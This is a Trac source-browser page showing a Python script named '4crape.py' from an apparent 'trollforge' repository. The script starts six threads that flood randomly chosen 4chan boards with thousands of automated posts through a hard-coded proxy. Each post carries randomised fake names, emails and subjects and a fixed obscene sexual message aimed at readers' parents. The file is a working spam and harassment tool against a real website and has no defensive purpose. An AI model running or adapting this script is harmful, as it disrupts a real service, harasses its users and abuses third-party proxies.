source: trollforge/dsp-trollforge/4chan/4crape.py @ 41

Revision 41, 1.6 KB checked in by sam, 8 years ago (diff)
  • DSP's trollforge snapshot.
  • Property svn:executable set to *
  • Property svn:keywords set to Id
Line 
1from random import choice, randrange
2import string
3from sys import exit
4import threading
5import urllib
6
7boards = [ 'a', 'b', 'c', 'd', 'f', 'h', 'l', 'p', 'r', 's', 't', 'u', 'w']
8numposts = 0
9
10def rndchars(x):
11    str = ""
12    for i in range(randrange(x, x + 3)):
13        str = str + choice(string.letters).lower()
14    return str
15
16class Flood(threading.Thread):
17
18        def run(self):
19
20                global numposts
21
22                proxy = '24.45.25.174:81'
23
24                for blah in range(1000):
25
26                        # flood a random board
27                        board = choice(boards)
28
29                        self.opendev = urllib.FancyURLopener({'http': 'http://' + proxy})
30                        self.par = urllib.urlencode({
31                                'mode': 'regist',
32                                'MAX_FILE_SIZE': '1048576',
33                                'name': rndchars(6),
34                                'email': rndchars(5) + '@' + rndchars(6) + '.net',
35                                'sub': rndchars(10),
36                                'com': 'Think about your parents fucking while you wank to this shit.\nCock into cunt! Cock into cunt!\n\nYour mother groaning and squealing while your dad pounds her arsemeat!\n\npropz to efnet #vuln and @ecoli!\n\n' + rndchars(30),
37                                'textonly': 'on'
38                        })
39
40                        try:
41                                self.f = self.opendev.open('http://img.4chan.org/' + board + '/imgboard.php', self.par)
42                                self.str = self.f.read(10000)
43                        except:
44                                print 'Post attempt fucked up lol'
45                                continue
46
47                        if self.str.find('Proxy detected on ') != -1:
48                                print 'This is a known proxy.'
49                                exit(0)
50
51                        numposts += 1
52                        if not (numposts % 10) or (numposts == 1):
53                                print 'Post attempt #' + str(numposts) + ' (' + board + ')'
54
55threads = [ ]
56
57for i in range(6):
58        newflood = Flood()
59        threads.append(newflood)
60
61for thread in threads:
62        thread.start()
Note: See TracBrowser for help on using the repository browser.